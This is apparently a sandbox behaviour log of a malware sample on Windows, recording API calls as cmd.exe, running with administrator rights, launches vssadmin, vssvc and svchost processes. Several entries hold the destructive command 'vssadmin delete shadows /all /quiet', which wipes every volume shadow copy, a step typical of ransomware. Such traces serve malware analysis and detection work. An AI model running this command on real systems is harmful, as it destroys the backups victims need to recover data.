	[0090.819] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.819] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.819] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0090.819] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.819] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.819] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.819] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0090.819] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.819] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.819] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.820] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0090.820] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.820] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.820] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.820] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee360, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0090.820] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.820] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.820] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.820] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee362, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0090.820] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.820] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.820] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.820] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee364, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0090.820] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.820] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.820] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.820] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0090.820] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.820] GetFileType (hFile=0xe8) returned 0x3
	[0090.821] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.821] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.821] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.821] GetFileType (hFile=0xf4) returned 0x3
	[0090.821] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.821] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0090.821] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18f878, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f878*=0x24, lpOverlapped=0x0) returned 1
	[0090.821] GetProcessHeap () returned 0x1c0000
	[0090.821] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x4012) returned 0x1df630
	[0090.821] GetProcessHeap () returned 0x1c0000
	[0090.822] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1df630 | out: hHeap=0x1c0000) returned 1
	[0090.822] GetProcessHeap () returned 0x1c0000
	[0090.822] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xb0) returned 0x1d97e0
	[0090.822] GetProcessHeap () returned 0x1c0000
	[0090.822] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x22) returned 0x1d4610
	[0090.822] GetProcessHeap () returned 0x1c0000
	[0090.822] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x48) returned 0x1daa90
	[0090.823] GetConsoleOutputCP () returned 0x4e3
	[0090.823] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a9ebfe0 | out: lpCPInfo=0x4a9ebfe0) returned 1
	[0090.823] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0090.823] GetConsoleTitleW (in: lpConsoleTitle=0x18f830, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0090.823] GetProcessHeap () returned 0x1c0000
	[0090.823] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x218) returned 0x1d9910
	[0090.823] GetProcessHeap () returned 0x1c0000
	[0090.823] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x5a) returned 0x1d9b30
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x420) returned 0x1d9090
	[0090.824] SetErrorMode (uMode=0x0) returned 0x0
	[0090.824] SetErrorMode (uMode=0x1) returned 0x0
	[0090.824] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1d90a0, lpFilePart=0x18f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f0c0*="Desktop") returned 0x25
	[0090.824] SetErrorMode (uMode=0x0) returned 0x1
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d9090, Size=0x6e) returned 0x1d9090
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d9090) returned 0x6e
	[0090.824] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0090.824] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x128) returned 0x1d5b70
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x240) returned 0x1c1ab0
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c1ab0, Size=0x12a) returned 0x1c1ab0
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1c1ab0) returned 0x12a
	[0090.824] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xe8) returned 0x1d9db0
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d9db0, Size=0x7e) returned 0x1d9db0
	[0090.824] GetProcessHeap () returned 0x1c0000
	[0090.824] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d9db0) returned 0x7e
	[0090.825] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.825] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff
	[0090.825] GetLastError () returned 0x2
	[0090.825] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff
	[0090.825] GetLastError () returned 0x2
	[0090.825] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.825] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x1d9ba0
	[0090.825] FindClose (in: hFindFile=0x1d9ba0 | out: hFindFile=0x1d9ba0) returned 1
	[0090.826] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff
	[0090.826] GetLastError () returned 0x2
	[0090.826] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x1d9ba0
	[0090.826] FindClose (in: hFindFile=0x1d9ba0 | out: hFindFile=0x1d9ba0) returned 1
	[0090.826] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0090.826] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0090.826] GetConsoleTitleW (in: lpConsoleTitle=0x18f380, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0090.826] GetProcessHeap () returned 0x1c0000
	[0090.826] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x21c) returned 0x1d9110
	[0090.826] GetConsoleTitleW (in: lpConsoleTitle=0x1d9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0090.826] GetProcessHeap () returned 0x1c0000
	[0090.826] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d9110, Size=0xc0) returned 0x1d9110
	[0090.826] GetProcessHeap () returned 0x1c0000
	[0090.826] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d9110) returned 0xc0
	[0090.826] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0090.827] GetProcessHeap () returned 0x1c0000
	[0090.827] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d9110 | out: hHeap=0x1c0000) returned 1
	[0090.827] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f138, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f0f8 | out: lpAttributeList=0x18f138, lpSize=0x18f0f8) returned 1
	[0090.827] UpdateProcThreadAttribute (in: lpAttributeList=0x18f138, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f0e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f138, lpPreviousValue=0x0) returned 1
	[0090.827] GetStartupInfoW (in: lpStartupInfo=0x18f250 | out: lpStartupInfo=0x18f250*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) 
	[0090.827] GetProcessHeap () returned 0x1c0000
	[0090.827] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x20) returned 0x1d4640
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0090.827] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.828] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0090.831] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0090.831] GetProcessHeap () returned 0x1c0000
	[0090.831] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d4640 | out: hHeap=0x1c0000) returned 1
	[0090.831] GetProcessHeap () returned 0x1c0000
	[0090.831] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x12) returned 0x1d8900
	[0090.832] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f170*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f120 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0x18f120*(hProcess=0x50, hThread=0x54, dwProcessId=0xab0, dwThreadId=0xab4)) returned 1
	[0092.387] CloseHandle (hObject=0x54) returned 1
	[0092.388] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0092.388] GetProcessHeap () returned 0x1c0000
	[0092.388] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1deb10 | out: hHeap=0x1c0000) returned 1
	[0092.388] GetEnvironmentStringsW () returned 0x1deb10*
	[0092.388] GetProcessHeap () returned 0x1c0000
	[0092.388] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xb0e) returned 0x1df630
	[0092.388] FreeEnvironmentStringsW (penv=0x1deb10) returned 1
	[0092.388] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x18ea28, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18ea28, ReturnLength=0x0) returned 0x0
	[0092.388] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffde000, lpBuffer=0x18ea60, nSize=0x380, lpNumberOfBytesRead=0x18ea20 | out: lpBuffer=0x18ea60*, lpNumberOfBytesRead=0x18ea20*=0x380) returned 1
	[0092.388] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) 

Process:
	id = "3"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x3f86e000"
	os_pid = "0xa90"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xa4c"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 14
	os_tid = 0xa94


Process:
	id = "4"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x3fe7f000"
	os_pid = "0xab0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xa4c"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 21
	os_tid = 0xab4


Thread:
	id = 23
	os_tid = 0xb0c


Thread:
	id = 24
	os_tid = 0xb10


Thread:
	id = 25
	os_tid = 0xb14


Thread:
	id = 26
	os_tid = 0xb18


Process:
	id = "5"
	image_name = "vssvc.exe"
	filename = "c:\\windows\\system32\\vssvc.exe"
	page_root = "0x3de85000"
	os_pid = "0xb1c"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b7e890"
	monitor_reason = "rpc_server"
	parent_id = "4"
	os_parent_pid = "0xab0"
	cmd_line = "C:\\Windows\\system32\\vssvc.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00085eaa" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 27
	os_tid = 0xb38


Thread:
	id = 28
	os_tid = 0xb34


Thread:
	id = 29
	os_tid = 0xb30


Thread:
	id = 30
	os_tid = 0xb2c

	[0102.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xecda40 | out: lpSystemTimeAsFileTime=0xecda40*(dwLowDateTime=0x36a9c360, dwHighDateTime=0x1d50c3c)) 
	[0102.442] GetCurrentProcessId () returned 0xb1c
	[0102.442] GetCurrentThreadId () returned 0xb2c
	[0102.442] GetTickCount () returned 0x1f3df
	[0102.442] QueryPerformanceCounter (in: lpPerformanceCount=0xecda48 | out: lpPerformanceCount=0xecda48*=17432246763) returned 1
	[0102.442] malloc (_Size=0x100) returned 0x658e80

Thread:
	id = 31
	os_tid = 0xb28


Thread:
	id = 32
	os_tid = 0xb24


Thread:
	id = 33
	os_tid = 0xb20


Thread:
	id = 34
	os_tid = 0xb44


Thread:
	id = 41
	os_tid = 0xba8


Thread:
	id = 42
	os_tid = 0x964


Process:
	id = "6"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x3bf8b000"
	os_pid = "0xb3c"
	os_integrity_level = "0x4000"
	os_privileges = "0x60814080"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0xb1c"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0008673d" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 35
	os_tid = 0xb58


Thread:
	id = 36
	os_tid = 0xb54


Thread:
	id = 37
	os_tid = 0xb50


Thread:
	id = 38
	os_tid = 0xb4c


Thread:
	id = 39
	os_tid = 0xb48


Thread:
	id = 40
	os_tid = 0xb40


Thread:
	id = 43
	os_tid = 0x958